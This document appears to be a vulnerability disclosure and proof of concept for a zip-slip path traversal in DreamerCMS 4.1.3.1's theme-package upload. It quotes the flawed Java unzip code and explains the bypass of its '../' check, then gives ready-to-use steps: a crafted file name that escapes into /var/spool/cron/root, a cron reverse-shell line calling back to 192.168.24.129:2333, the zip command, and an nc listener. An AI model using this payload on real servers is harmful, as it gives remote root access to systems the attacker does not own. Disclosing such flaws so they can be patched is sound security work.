(1)In the add() function of controller/admin/ThemesController.java, there is the following code snippet:
public String add(String themePath) throws IOException, CmsException {
Theme theme;
String rootPath = fileConfiguration.getResourceDir();
System system = systemService.getSystem();
String uploadDir = system.getUploaddir();
String uploadpath = rootPath + "/" + uploadDir + "/" + themePath;
File zipFile = new File(uploadpath);
//解压zip
String targetDir = rootPath + "templates/";
theme = ZipUtils.unZipFiles(zipFile, targetDir);
//省略其他代码
}
(2)ZipUtils.unZipFiles(zipFile, targetDir) is used, and the method code is as follows:
public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException {
File pathFile = new File(descDir);
if (!pathFile.exists()) {
pathFile.mkdirs();
}
Theme theme = new Theme();
// 解决zip文件中有中文目录或者中文文件
ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK"));
for (Enumeration entries = zip.entries(); entries.hasMoreElements();) {
ZipEntry entry = (ZipEntry) entries.nextElement();
String entryName = entry.getName();
System.out.println(entryName);
if(entryName.contains("../") || entryName.contains("..\\")) {
throw new AdminGeneralException(
ExceptionEnum.XSS_SQL_EXCEPTION.getCode(),
ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(),
"压缩包中文件名疑似不安全,详情:" + entryName);
}
InputStream in = zip.getInputStream(entry);
String outPath = (descDir + entryName).replaceAll("\\*", "/");
// 判断路径是否存在,不存在则创建文件路径
File file = new File(outPath.substring(0, outPath.lastIndexOf('/')));
if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) {
theme.setThemePath(file.getAbsolutePath());
}
if (!file.exists()) {
file.mkdirs();
}
// 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
if (new File(outPath).isDirectory()) {
continue;
}
OutputStream out = new FileOutputStream(outPath);
byte[] buf1 = new byte[1024];
int len;
while ((len = in.read(buf1)) > 0) {
out.write(buf1, 0, len);
}
in.close();
out.close();
}
zip.close();
System.out.println("******************解压完毕******************");
return theme;
}
}
(3)In this function, the directory traversal character is detected, and then the file is unzipped, but the detection code can be bypassed by ".*.", and then passed through String outPath = (descDir + entryName).replaceAll("\*", "/"); substitution, resulting in a directory traverse, for example
payload:.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ====>.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/spool/cron/root, therefore, creating an RCE vulnerability
(1)演示环境
Operating system: CentOS7
Database: MySQL 5.7
DreamerCMS Version:4.1.3.1
(2)Function point navigation: Background management - > style settings - > upload theme package
(3)Malicious zip file making
In a Linux environment
Create a file named xxxx*root and write the expression of the cron bounce shell
echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root
Make a zip file
zip -r ./poc1.zip .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root
(4)Use server NC to listen on port 2333
nc -lvp 2333
(5)Get the bounce shell